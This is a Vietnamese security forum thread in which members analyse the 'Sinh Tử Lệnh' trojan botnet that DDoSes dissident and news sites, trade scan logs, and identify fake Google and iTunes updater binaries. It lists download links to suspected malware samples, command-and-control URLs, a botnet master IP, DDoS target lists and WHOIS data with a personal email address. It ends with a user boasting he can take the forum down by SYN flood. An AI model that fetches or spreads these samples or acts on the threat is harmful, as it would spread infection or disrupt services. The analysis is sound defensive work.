Hic em có thấy mẫu nào của STL mà Bkav ko diệt được đâu nhỉ ? :D . Em dùng Bkav pro thấy diệt hết! 

PXMMRF wrote:

Các bạn ở BKAV và CMC có thể giúp việc này không. Ks Triệu trần Đức (Tổng giám đôc Security CMC)ơi, em có chỉ đạo việc này giúp anh hay không nhỉ? Thank you in advance.  

TQN wrote:

Bà con BKAV có thể giúp mọi người được không ? Hay là cứ giả câm, giả điếc, nhắm mắt làm ngơ ???  

Hic em có thấy mẫu nào của STL mà Bkav ko diệt được đâu nhỉ ? :D . Em dùng Bkav pro thấy diệt hết! 

conmale wrote:

mv1098 wrote:

Gửi các bro mẫu GoogleUpdate.exe, em check không thấy có Digital Sig Scan trên VirusTotal thì ra 1 đống nhưng toàn là Virus Sality http://www.virustotal.com/file-scan/report.html?id=f258be0f4ea0174f87731f0c879170ba162dcfba058bf9dd3c5aead98252fc0e-1314072852 http://www.mediafire.com/?k7xd7nj50bs59jv 

Em tìm thử trên máy có "goopdate.dll" không? Có con nào, zip hết rồi upload lên giúp nha? 

Xin lỗi file này của em bị hỏng, chờ chút em update 

template wrote:

Mình kiểm tra tất cả đều có chữ ký, không cần up đúng ko bác 

Có chữ ký là đồ xịn, không cần upload bồ ơi. :). 

Gửi các bro mẫu GoogleUpdate.exe, em check không thấy có Digital Sig Scan trên VirusTotal thì ra 1 đống nhưng toàn là Virus Sality http://www.virustotal.com/file-scan/report.html?id=f258be0f4ea0174f87731f0c879170ba162dcfba058bf9dd3c5aead98252fc0e-1314072852 http://www.mediafire.com/?k7xd7nj50bs59jv (Chú ý: Các bạn không nên dơwnload File GoogleUpdate.exe này về máy, trừ khi muốn nghiên cứu một virus khác, virus "Sality". Virus Sality có đăc điểm khi nhiễm vào máy sẽ tìm tất cả các file .exe trong máy và nhân bản virus. Virus lấy tên file nguyên bản mà nó vừa nhiễm vào. Vì vậy trong máy sẽ đầy rẫy các nhân bản virus Sality và hệ thông sẽ ngưng chạy-PXMMRF-HVA) 

mv1098 wrote:

Gửi các bro mẫu GoogleUpdate.exe, em check không thấy có Digital Sig Scan trên VirusTotal thì ra 1 đống nhưng toàn là Virus Sality http://www.virustotal.com/file-scan/report.html?id=f258be0f4ea0174f87731f0c879170ba162dcfba058bf9dd3c5aead98252fc0e-1314072852 http://www.mediafire.com/?k7xd7nj50bs59jv 

Em tìm thử trên máy có "goopdate.dll" không? Có con nào, zip hết rồi upload lên giúp nha? 

ptv_vbhp wrote:

PXMMRF wrote:

Các bạn ở BKAV và CMC có thể giúp việc này không. Ks Triệu trần Đức (Tổng giám đôc Security CMC)ơi, em có chỉ đạo việc này giúp anh hay không nhỉ? Thank you in advance.  

TQN wrote:

Bà con BKAV có thể giúp mọi người được không ? Hay là cứ giả câm, giả điếc, nhắm mắt làm ngơ ???  

Hic em có thấy mẫu nào của STL mà Bkav ko diệt được đâu nhỉ ? :D . Em dùng Bkav pro thấy diệt hết! 

Screenshot giao diện BKAV lúc nó diệt dc chính xác các file của STL ( toàn bộ ) theo bồ nói rồi up lên đây 

Mấy bro BKIS này hèn vãi không ra mặt nhưng vẫn âm thầm theo dõi topic để update virus mới vào Database. đúng là miếng thịt ngon thì đớp chặt cục xương khó nhằn thì nhè ra.  

Mấy bro BKIS này hèn vãi không ra mặt nhưng vẫn âm thầm theo dõi topic để update virus mới vào Database. đúng là miếng thịt ngon thì đớp chặt cục xương khó nhằn thì nhè ra.  

Mấy bro BKIS này hèn vãi không ra mặt nhưng vẫn âm thầm theo dõi topic để update virus mới vào Database. đúng là miếng thịt ngon thì đớp chặt cục xương khó nhằn thì nhè ra.  

mv1098 wrote:

Mấy bro BKIS này hèn vãi không ra mặt nhưng vẫn âm thầm theo dõi topic để update virus mới vào Database. đúng là miếng thịt ngon thì đớp chặt cục xương khó nhằn thì nhè ra.  

bạn này có vẻ thù hằn nhỉ. AV cập nhật là điều tốt, hay bạn không muốn thế, bạn không muốn cái AV được người Việt sử dụng diệt các mẫu virus người Việt bị nhiễm nhiều nhất. Bạn muốn các virus này tồn tại mãi mãi trên máy người Việt và được cập nhật liên tục chứ gì. Avira , KIS, Microsoft,... cũng cập nhật đấy, để mình viết mail nhắc họ lập nick ở đây, nếu không lại mang tiếng hèn, mang tiếng đớp chặt cục xương. Xét ra chỉ có Symantec không cập nhật, không hèn =))  

mv1098 wrote:

Mấy bro BKIS này hèn vãi không ra mặt nhưng vẫn âm thầm theo dõi topic để update virus mới vào Database. đúng là miếng thịt ngon thì đớp chặt cục xương khó nhằn thì nhè ra.  

bạn này có vẻ thù hằn nhỉ. AV cập nhật là điều tốt, hay bạn không muốn thế, bạn không muốn cái AV được người Việt sử dụng diệt các mẫu virus người Việt bị nhiễm nhiều nhất. Bạn muốn các virus này tồn tại mãi mãi trên máy người Việt và được cập nhật liên tục chứ gì. Avira , KIS, Microsoft,... cũng cập nhật đấy, để mình viết mail nhắc họ lập nick ở đây, nếu không lại mang tiếng hèn, mang tiếng đớp chặt cục xương. Xét ra chỉ có Symantec không cập nhật, không hèn =))  

Mình chỉ tức là họ được tạo điều kiện và có rất nhiều thời gian mà họ không giúp đỡ nhiệt tình như cái vụ giúp anh Hàn Quốc chẳng hạn. trong khi đó con virus này nó ảnh hưởng tới cộng đồng người Việt nhiều như vậy. Mỗi người 1 suy nghĩ nên mình không tranh luận thêm về vấn đề này. 

Mình chỉ tức là họ được tạo điều kiện và có rất nhiều thời gian mà họ không giúp đỡ nhiệt tình như cái vụ giúp anh Hàn Quốc chẳng hạn. trong khi đó con virus này nó ảnh hưởng tới cộng đồng người Việt nhiều như vậy. Mỗi người 1 suy nghĩ nên mình không tranh luận thêm về vấn đề này. 

http://www.mediafire.com/?fbffz39h68qm7wu Em xin lỗi vì hôm qua đưa không kịp thời. đây là goopdate.dll của em, em chưa zip ạ.:D 

http://www.mediafire.com/?fbffz39h68qm7wu Em xin lỗi vì hôm qua đưa không kịp thời. đây là goopdate.dll của em, em chưa zip ạ.:D 

...................................... - E vừa quét xong = BK pro + kis 2012 up date ngày hôm nay : 23/8/2011 luôn với 2 file anh TQN up lên MF là AcrobatUpdater_20_08_2011 và 15_8_2011 => Kis không ho he gì 2 file này cả , BK thì phang đc 1 em 15_8 còn 20_8 thì im re . Các file cũ của anh TQN up lên em chưa thử nên không biết như thế nào - Em không quảng cáo hay làm gì đó BKis đâu nhé  

1. http://danlambaovn.blogspot.com 2. http://www.aihuuphuyen.org 3. http://nguoiduatinkami.wordpress.com 4. http://vrvradio.com 5. http://aotrangoi.com 6. http://viettan.org 7. http://dangviettan.wordpress.com 8. http://radiochantroimoi.com 9. http://radiochantroimoi.wordpress.com 10. http://vietnamnet.vn 11.  

- Cảm ơn anh Conmale. :D - Anh Bolzano_1989 coi luôn giùm em file googlecrashhandler.exe luôn nha anh. Link đây ạ: http://www.mediafire.com/file/ql94xm0w3fs9gmg/GoogleCrashHandler.exe - Hôm nay em thấy file này mới xuất hiện: GoogleCrashHandler.exe-0BB7A0D9.pf , em không biết có liên quan gì không nên up lên luôn, đây là link: http://www.mediafire.com/file/kndjsmdp8pf6ok2/GOOGLECRASHHANDLER.EXE-0BB7A0D9.pf - Đây là file goopdate.dll em đưa link lên lại: http://www.mediafire.com/file/fbffz39h68qm7wu/goopdate.dll Cảm ơn mọi người.  

Hôm nay sáng dạy, phải vào đọc mấy trang tin tức 1 cái. Chả lẽ lại lên vnexpress.net đọc mấy cái truyện cười, hay lên 24h.com.vn đọc mấy cái truyện tình dục :( thế là thôi ta lớn rồi phải đọc thông tin tình hình đất nước :*- vô ngay danlambaovn Code:

Our systems have detected unusual traffic from your computer network. Please try your request again later. Why did this happen?


IP address: 1.55.112.150
Time: 2011-08-24T03:58:34Z
URL: http://danlambaovn.blogspot.com/2011/08/yeu-nuoc-chan-chinh-thanh-ra-phan-ong.html

giật mình không biết máy mình có bị virus STL không vậy, căn bản con lap em dùng thì thằng bạn suốt ngày vào mấy trang web linh tinh, mình thì cũng ít khi dùng toàn ra ngoài quán. bật wireshark lên thì thấy. .................................................... Bật thử task manager lên thì thấy. ....................................... em không có kinh nghiệm về kiểm tra virus lắm, không biết máy em có bị dính hàng của Sờ Ti Lợn không mấy anh nhỷ, nhưng tìm trong máy không thấy mấy cái Adobe Update với Google Chrome. 

Hôm nay sáng dạy, phải vào đọc mấy trang tin tức 1 cái. Chả lẽ lại lên vnexpress.net đọc mấy cái truyện cười, hay lên 24h.com.vn đọc mấy cái truyện tình dục :( thế là thôi ta lớn rồi phải đọc thông tin tình hình đất nước :*- vô ngay danlambaovn Code:

Our systems have detected unusual traffic from your computer network. Please try your request again later. Why did this happen?


IP address: 1.55.112.150
Time: 2011-08-24T03:58:34Z
URL: http://danlambaovn.blogspot.com/2011/08/yeu-nuoc-chan-chinh-thanh-ra-phan-ong.html

giật mình không biết máy mình có bị virus STL không vậy, căn bản con lap em dùng thì thằng bạn suốt ngày vào mấy trang web linh tinh, mình thì cũng ít khi dùng toàn ra ngoài quán. bật wireshark lên thì thấy. Bật thử task manager lên thì thấy. em không có kinh nghiệm về kiểm tra virus lắm, không biết máy em có bị dính hàng của Sờ Ti Lợn không mấy anh nhỷ, nhưng tìm trong máy không thấy mấy cái Adobe Update với Google Chrome. 

Để kiểm tra máy tính của mình có bị nhiễm virus của nhóm hacker Sinh Tử Lệnh hay không và được hỗ trợ diệt trừ các virus này, các bạn có thể gửi 3 log Autoruns, Autorunsc (Autoruns command-line) và TCPView cho bolzano_1989 theo đúng hướng dẫn ở các bài viết sau: Hướng dẫn scan và gửi log Autoruns http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autoruns/ Hướng dẫn scan và gửi log Autorunsc (Autoruns command-line) http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autorunsc-(autoruns-command-line)/ Hướng dẫn scan và gửi log TCPView http://support.cmclab.net/vn/tut0rial/h4327899ng-d7851n-scan-v224-g7917i-log-tcpview/  

http://www.mediafire.com/?h5pm1q12r1h2ycm

bolzano_1989 wrote:

Để kiểm tra máy tính của mình có bị nhiễm virus của nhóm hacker Sinh Tử Lệnh hay không và được hỗ trợ diệt trừ các virus này, các bạn có thể gửi 3 log Autoruns, Autorunsc (Autoruns command-line) và TCPView cho bolzano_1989 theo đúng hướng dẫn ở các bài viết sau: Hướng dẫn scan và gửi log Autoruns http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autoruns/ Hướng dẫn scan và gửi log Autorunsc (Autoruns command-line) http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autorunsc-(autoruns-command-line)/ Hướng dẫn scan và gửi log TCPView http://support.cmclab.net/vn/tut0rial/h4327899ng-d7851n-scan-v224-g7917i-log-tcpview/  

Đây là file log em đã scan như anh hướng dẫn. Code:

http://www.mediafire.com/?h5pm1q12r1h2ycm

Hiện tại em đang ở trường, nên trước khi scan log với TCPView em có kiểm tra lại với Wireshark thì không thấy máy mình kết nối tới viettan.org nữa, mặc dù từ lúc scan log wireshark kia xong em tắt máy tính và đến trường luôn, không động chạm gì đến hệ thống. Nếu cần scan lại log TCPView khác thì khi về nhà em sẽ scan lại với TCPView rồi gửi log lên sau 

Nhiều khả năng là nó đây rồi: c:\program files\kaspersky lab\kaspersky password manager\de_stpass_.exe Bạn gửi file này gấp cho mình qua địa chỉ email sau:

CMC InfoSec sẽ cập nhật mầm virus này sớm nhất có thể sau khi xác nhận đây là virus. Anh chị em kiểm tra nếu trong máy tính nào có file ở đường dẫn trên, vui lòng gửi cho mình và anh TQN gấp, xin cảm ơn. @anh conmale: File Unikeynt kia là file gốc của Unikey, chúng ta không cần phải lo. 

http://www.mediafire.com/?3fh3xpfejqcbusx

Không thấy gì đáng ngờ. Chỉ có cái unikeyNT kia không biết có phải là đồ xịn không. Tí nữa về, thử chạy lại TCPView coi thử nhe em? Nếu có bất cứ kết nối nào ra ngoài cũng chộp hết (và nhớ đừng khởi động bất cứ trình duyệt nào hết). 

http://www.mediafire.com/?7bb0oxqxfhroi89

http://www.mediafire.com/?22c34bgzj7vnt31

http://www.mediafire.com/?ykv5h6di1kmv50m

http://www.mediafire.com/?zm5serhuk3bwfxe

Để kiểm tra máy tính của mình có bị nhiễm virus của nhóm hacker Sinh Tử Lệnh hay không và được hỗ trợ diệt trừ các virus này, các bạn có thể gửi 3 log Autoruns, Autorunsc (Autoruns command-line) và TCPView cho bolzano_1989 theo đúng hướng dẫn ở các bài viết sau: Hướng dẫn scan và gửi log Autoruns http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autoruns/ Hướng dẫn scan và gửi log Autorunsc (Autoruns command-line) http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autorunsc-(autoruns-command-line)/ Hướng dẫn scan và gửi log TCPView http://support.cmclab.net/vn/tut0rial/h4327899ng-d7851n-scan-v224-g7917i-log-tcpview/  

bolzano_1989 wrote:

Để kiểm tra máy tính của mình có bị nhiễm virus của nhóm hacker Sinh Tử Lệnh hay không và được hỗ trợ diệt trừ các virus này, các bạn có thể gửi 3 log Autoruns, Autorunsc (Autoruns command-line) và TCPView cho bolzano_1989 theo đúng hướng dẫn ở các bài viết sau: Hướng dẫn scan và gửi log Autoruns http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autoruns/ Hướng dẫn scan và gửi log Autorunsc (Autoruns command-line) http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autorunsc-(autoruns-command-line)/ Hướng dẫn scan và gửi log TCPView http://support.cmclab.net/vn/tut0rial/h4327899ng-d7851n-scan-v224-g7917i-log-tcpview/  

Đây là 3 file lần lượt theo thứ tự trên kiểm tra giùm em với có bị nhiễm virut ko thanks. http://www.mediafire.com/?9qb9w359wqaoco6 http://www.mediafire.com/?q0zfn30rcnehias http://www.mediafire.com/?cqqul3dk23blwrw  

1. http://danlambaovn.blogspot.com 2. http://www.aihuuphuyen.org 3. http://nguoiduatinkami.wordpress.com 4. http://vrvradio.com 5. http://aotrangoi.com 6. http://viettan.org 7. http://dangviettan.wordpress.com 8. http://radiochantroimoi.com 9. http://radiochantroimoi.wordpress.com 10. http://vietnamnet.vn 11.  

Thời điểm giờ em không vào được http://vietnamnet.vn/ . Có ai vô được không mọi người? Em dùng mạng FPT. 

hailua_online wrote:

bolzano_1989 wrote:

Để kiểm tra máy tính của mình có bị nhiễm virus của nhóm hacker Sinh Tử Lệnh hay không và được hỗ trợ diệt trừ các virus này, các bạn có thể gửi 3 log Autoruns, Autorunsc (Autoruns command-line) và TCPView cho bolzano_1989 theo đúng hướng dẫn ở các bài viết sau: Hướng dẫn scan và gửi log Autoruns http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autoruns/ Hướng dẫn scan và gửi log Autorunsc (Autoruns command-line) http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-autorunsc-(autoruns-command-line)/ Hướng dẫn scan và gửi log TCPView http://support.cmclab.net/vn/tut0rial/h4327899ng-d7851n-scan-v224-g7917i-log-tcpview/  

Đây là 3 file lần lượt theo thứ tự trên kiểm tra giùm em với có bị nhiễm virut ko thanks. http://www.mediafire.com/?9qb9w359wqaoco6 http://www.mediafire.com/?q0zfn30rcnehias http://www.mediafire.com/?cqqul3dk23blwrw  

Các file log của máy bạn đều ổn ;) . Máy tính của bạn có kết nối tự động đến website nào trong các website sau không?

1. http://danlambaovn.blogspot.com 2. http://www.aihuuphuyen.org 3. http://nguoiduatinkami.wordpress.com 4. http://vrvradio.com 5. http://aotrangoi.com 6. http://viettan.org 7. http://dangviettan.wordpress.com 8. http://radiochantroimoi.com 9. http://radiochantroimoi.wordpress.com 10. http://vietnamnet.vn 11.  

 

Bạn đừng gửi log Autoruns ở máy tính của bạn nữa, mà gửi 2 log sau cho mình OTL và OTS, bạn hãy bật tất cả những gì mà bạn vừa sử dụng khi nãy, tái lập lại hiện tượng kết nối đến các website lạ kia rồi scan và gửi log: Hướng dẫn scan và gửi log OTL http://support.cmclab.net/vn/tut0rial/h4327899ng-d7851n-scan-v224-g7917i-log-otl/ Hướng dẫn scan và gửi log OTS http://support.cmclab.net/vn/tut0rial/huong-dan-scan-va-gui-log-ots/ Mình tin là máy tính của bạn không bị nhiễm virus của nhóm STL ;) . Mình thấy có một khả năng lớn là có máy tính khác trong cùng mạng nội bộ của bạn bị nhiễm virus STL hoặc là một số người trong cùng mạng của bạn đang vào website viettan.org . Tốt nhất là bạn scan và gửi log Autoruns và Autorunsc ở tất cả các máy đang chạy trong cùng mạng khi xảy ra hiện tượng này cho mình, nhớ đánh số để phân biệt các log cùng máy tính đi kèm và việc truy tìm mẫu virus thuận tiện cho bạn :) . 

Sáng nay, kiểm tra lại thử target DDOS của mấy anh stl, thấy mấy anh đã loại danlambao.blogspot.vn ra khỏi danh sách. Tới giờ, content của backgrounds.jpg: http://net.iadze.com/backgrounds.jpg và showthread.php: http://net.iadze.com/showthread.php đã hoàn toàn giống nhau. Danh sách các site đang bị DDOS: Code:

http://www.aihuuphuyen.org
 http://nguoiduatinkami.wordpress.com
 http://vrvradio.com
 http://aotrangoi.com
 http://viettan.org
 http://dangviettan.wordpress.com
 http://radiochantroimoi.com
 http://radiochantroimoi.wordpress.com
 http://chutungo.wordpress.com
 http://nguoivietphanlan.forumotion.com
 http://exodusforvietnam.wordpress.com

Sao không đốt danlambao nữa mấy anh ? Chán rồi à ! Hiện tại, sau khi kiểm tra các file GoogleCrashHandler.exe và dll mà các bạn gởi lên, tôi tạm xác định đấy là các file sạch của Google, và xin lỗi các bạn. Nếu các bạn kiểm tra các file đó có Digital Signature của Google thì có thể "tạm" yên tâm, không cần upload. Vậy là tới đây chúng ta vẫn chưa tìm được mẫu đang ddos Vietnamnet. Mong bà con tiếp tục dùng TCPView và SmartSniff: http://www.nirsoft.net/utils/smsniff.html để tiếp tục monitor và tìm exe nào đang ddos Vietnamnet. PS: 2 hailua_online: Cậu up giùm tôi các file này nhé: 1. c:\program files\common files\adobe\switchboard\switchboard.exe 2. c:\program files\internet download manager\idman.exe Cảm ơn trước. 

chắc đây là mẫu mới của đám Malware Sinh tử lệnh, TQN cần file gì để mình gửi dùng tcpview bắt được . chuyển qua proxy thì thấy liên tục gửi request đến địa chỉ vietnamnet Địa chỉ download file ituneshelp http://www.mediafire.com/?my3ge2sqvnlno76 13:20 pm , sau khi post bài này đã ngưng gửi request tới Vietnamnet , thêm vào đó thấy được mấy địa chỉ lạ http://daily.leteaks.com/index.txt? http://wide.ircop.cn/index.txt? http://pref.firebay.cn/index.txt? http://link.susaks.com/index.txt?  

Domain Name: firebay.cn ROID: 20080211s10001s67686910-cn Domain Status: ok Registrant ID: ct2vkafo9jfsvst Registrant Organization: 许士鎏 ( Liu, Xu Shi ) Registrant Name: 许士鎏 ( Liu, Xu Shi ) Registrant Email: stan@canadaad.com Sponsoring Registrar: 北京新网互联科技有限公司 ( Beijing Innovative Linkage Technology Co., Ltd. ) Name Server:ns1.dns.com.cn Name Server:ns2.dns.com.cn Name Server:ns2.afraid.org Name Server:ns1.afraid.org Registration Date: 2008-02-11 11:39:41 Expiration Date: 2012-02-11 11:39:41 Dnssec Deployment: N  

Registrant: shiliu xu @public.guangzhou.gd.cn +1.4167321430 MOCIS INC. SUITE 507, 45 GRENOBLE DR. TORONTO,ONTARIO,CA M3C 1C4 Domain Name:mocis.com Record last updated at 2011-05-27 15:17:06 Record created on 2004/7/9 Record expired on 2012/7/9  

1visao wrote:

chắc đây là mẫu mới của đám Malware Sinh tử lệnh, TQN cần file gì để mình gửi dùng tcpview bắt được . chuyển qua proxy thì thấy liên tục gửi request đến địa chỉ vietnamnet Địa chỉ download file ituneshelp http://www.mediafire.com/?my3ge2sqvnlno76 13:20 pm , sau khi post bài này đã ngưng gửi request tới Vietnamnet , thêm vào đó thấy được mấy địa chỉ lạ http://daily.leteaks.com/index.txt? http://wide.ircop.cn/index.txt? http://pref.firebay.cn/index.txt? http://link.susaks.com/index.txt?  

Ha ha, hoan hô 1visao =D) Cái này là đích thị con nai vàng tấn công vietnamnet rồi. Sẽ cập nhật thêm thông tin. Các bạn CMC có bị đám bot tấn công không? Có IP (cho leased line) nào là 183.91.14.15 và 183.91.14.15 của CMCTI.vn đang sử dụng mà bị đập không? Thêm: Hoá ra 183.91.14.15 thuộc infrastructure của CMCTI.vn và IP này dùng để host tuanvietnam.vietnamnet.vn. Còn 183.91.14.11 thì host vef.vn. Ngoài ra, vietnamnet.vn bị đánh vào 2 IP khác nhau (2 A records: 123.30.133.166 và 117.103.197.249). Còn vietnamweek.net host ở bên Mỹ (209.160.52.52) cũng chịu chung số phận. Botnet này đánh vô tất cả các sites quan trọng của vietnamnet. Cập nhật: Tất cả zombies của botnet này hiện trỏ về master ở 200.74.244.198. IP này thuộc Panama. Nếu cần chặn, vncert có thể phối hợp các ISP để chặn ngay trên ISP level. Hiện giờ chỉ có mỗi Kaspersky nhận diện con trojan này là: Trojan.Win32.Diple.acxu. PS: sẵn tiện thông báo luôn cho công luận biết là nhóm thành viên HVA lộ diện trong việc phân tích và truy tìm malware của stl thường xuyên bị đe doạ bằng nhiều cách khác nhau. Hành vi phạm pháp và vô đạo đức bằng kỹ thuật nay bắt đầu chuyển sang hướng đe doạ. Xin thông báo để bà con rõ mức độ tồi tệ của sự việc. 

Em vừa submit file ituneshelper.exe lên web của: Symantec, McAfee, Nod32, Microsoft, Avast, AVG, Bitdefender. Em tự hỏi chúng ta có nên liên lạc với danlambaovn nhờ họ thông báo rộng rãi cho đọc giả giúp submit các file nhiễm trojan STL lên các website của các chương trình antivirus không? 

Thằng coder của con fake ITunes này là coder C++, chỉ quen dùng C++ ATL/MFC string, trong khi toàn bộ source của libcurl là pure C. 

Thằng coder của con fake ITunes này là coder C++, chỉ quen dùng C++ ATL/MFC string, trong khi toàn bộ source của libcurl là pure C. Avira đã có trả lời, mới up hồi chiều, nhanh thật: http://analysis.avira.com/samples/details.php?uniqueid=KcAZAjtnOS4VD6kgfsrWYGchX1gq6Lvn&incidentid=809945 Bạn 1visao vui lòng up giùm file Autoruns của bạn, vì chắc chắn trên máy bạn còn 1 thằng nằm vùng khác download ituneshelper.exe về. File data.mdf cũng chính là ituneshelper.exe nhưng có version cũ hơn. Tức là lúc đầu con nằm vùng đó download ituneshelper.exe ver cũ về, sau đó một thời gian, nó kết nối tới đâu đó, thấy có lệnh cập nhật, nó down ituneshelper.exe mới về, kill process ituneshelper.exe cũ, rename, copy ituneshelper.exe mới vào thư mục ban đầu rồi run, đăng ký autorun. Và sẽ có một website nào đó nữa ta chưa biết chứa con trojan và file ra lệnh cập nhật này. PS: Em nói đúng không mấy anh stl. RCE code mấy anh riết ngán quá rồi :-(  

Chào các bác ! :( Trời ạ, Hôm nay em mới seach từ Khoá Unikey nethoabinh Hiện tại trang web nethoabinh.com là trang web của em :) Thực sự em đọc topic này mà rùng rợn người. Từ trước tới nay em cài bao nhiêu phần mêm viruts quét rùi mà file unikey em tải lên là File sạch Giờ lại thấy các bác báo cáo thế, Em lại update và quét thì quả thật có báo http://www.virustotal.com/file-scan/report.html?id=298452c3c9f0c638bea809bb8d4d890c6802272a5cc0aac7064531bbae98627e-1314287130 Em không biết một tí gì vì em load trực tiếp trên trang chủ của Unikey.org ???? Rùi update lại cho anh em dùng thôi - Giờ lại ra thế này thì em cũng chả biết phải tin vào ai bây giờ :(. Nếu đợt tấn công vừa rồi là nguyên nhân do file unikey của bên em phát tán thì em thật sự xin lỗi và Em thề là không biết một tí gì vì tin tưởng load trên trang chủ và quét các phần mềm diệt viruts rùi Em xin cảm ơn.  

vnchampion wrote:

Chào các bác ! :( Trời ạ, Hôm nay em mới seach từ Khoá Unikey nethoabinh Hiện tại trang web nethoabinh.com là trang web của em :) Thực sự em đọc topic này mà rùng rợn người. Từ trước tới nay em cài bao nhiêu phần mêm viruts quét rùi mà file unikey em tải lên là File sạch Giờ lại thấy các bác báo cáo thế, Em lại update và quét thì quả thật có báo http://www.virustotal.com/file-scan/report.html?id=298452c3c9f0c638bea809bb8d4d890c6802272a5cc0aac7064531bbae98627e-1314287130 Em không biết một tí gì vì em load trực tiếp trên trang chủ của Unikey.org ???? Rùi update lại cho anh em dùng thôi - Giờ lại ra thế này thì em cũng chả biết phải tin vào ai bây giờ :(. Nếu đợt tấn công vừa rồi là nguyên nhân do file unikey của bên em phát tán thì em thật sự xin lỗi và Em thề là không biết một tí gì vì tin tưởng load trên trang chủ và quét các phần mềm diệt viruts rùi Em xin cảm ơn.  

Không! File Unikey của em upload lên website của em (nethoabinh.com) là file Unikey sạch mà. Anh đã kiểm tra kỹ và đã có báo cáo chi tiết trong topic này (ở các trang đầu topic). Unikey này bạn lequi download về, nghi là có virus, nhưng thưc tế là file sạch, chạy tốt.  

2 trang YeuHoaBinh.com và NetHoaBinh.com có rank là 682 và 688 (theo thứ tự các website ViệtNam) trên Alexa. Và...việc tìm kiếm tới UniKey luôn đứng đầu 2 site này...chứng tỏ bà còn Việt bị nhiễm malware hơi nhiều. http://www.alexa.com/siteinfo/nethoabinh.com http://www.alexa.com/siteinfo/yeuhoabinh.com Một điều đáng ngạc nhiên là như lequi nói: Khi search google về Flash Player download thì NETHOABINH.COM đứng trong top đầu mới kinh. Tuy nhiên link tới mediafire.com đã bị delete, ai có file Flash Player này thì tốt quá. Mà cái bạn "LAM VOI" trên NETHOABINH có vẻ hâm mộ TQ quá, avatar là anh LÝ THÀNH LONG, lại còn học tiếng Trung Quốc.... @lequi: check traffic qua nettop cho các domain mà bạn đưa ra thì hầu hết là ZERO, và các domain này vừa mới được thiết lập (vào khoảng thời gian đầu tháng 7). 

94.242.203.16 ở LUXEMBOURG option.drfound.net với mx2.thesmartsignature.com là 1 nhân tiện các bác phân tích giúp em thằng này, em download ở thesmartsignature.com về http://www.mediafire.com/?bdybn6hsyvm9vci link gốc Code:

http://thesmartsignature.com/cgi-bin/updater-cgi?7LmQrC8pRrqF6iRQGJtYlQF9eW%2FIL8EMYLxfycFpK3nzZejuR6l3rSYOmNp3RABmOEdHGWZEv9IjSwi5D%2Fm5EWToI2ZwfDx7Ingr1BiyQmqJLdOxrPlLL1Br6Iwdw9xnyaCTblidOq1ZzxL78NmglKgnEBmxqeoNyz5E2dxubSMEi3p2B1Hh7oMvhe8%2BGbwtMhjGli%2FZymYjcWN7ZhZDLSMbJSDJp8DG1bGBldUgct5JJ%2BJPnFgdGmYV5EVexygoe2Sd2AhezpM%3D

 

Em đã thông báo cho Mediafire về file Unikey trên: http://nethoabinh.com/showthread.php?t=315 Giờ file này đã được xoá :)

 

Sau vài lần lướt web thì thấy topic này có vẻ rất " HOT " Chuyển sang chủ để chính luôn, là HVA có biện pháp gì mới để chống hay không Chứ phân tích cái này rồi cuối cùng vẫn bị DIE thì hơi chán Khoảng đầu tháng 9 mình muốn HVA nghiên cứu sâu hơn về synflood Vì hiện tại với synflood mình có thể cho HVA die bất cứ lúc nào ------------------------------------------------------------------------- Mr.Quy CBG.No1 ADMIN - ATH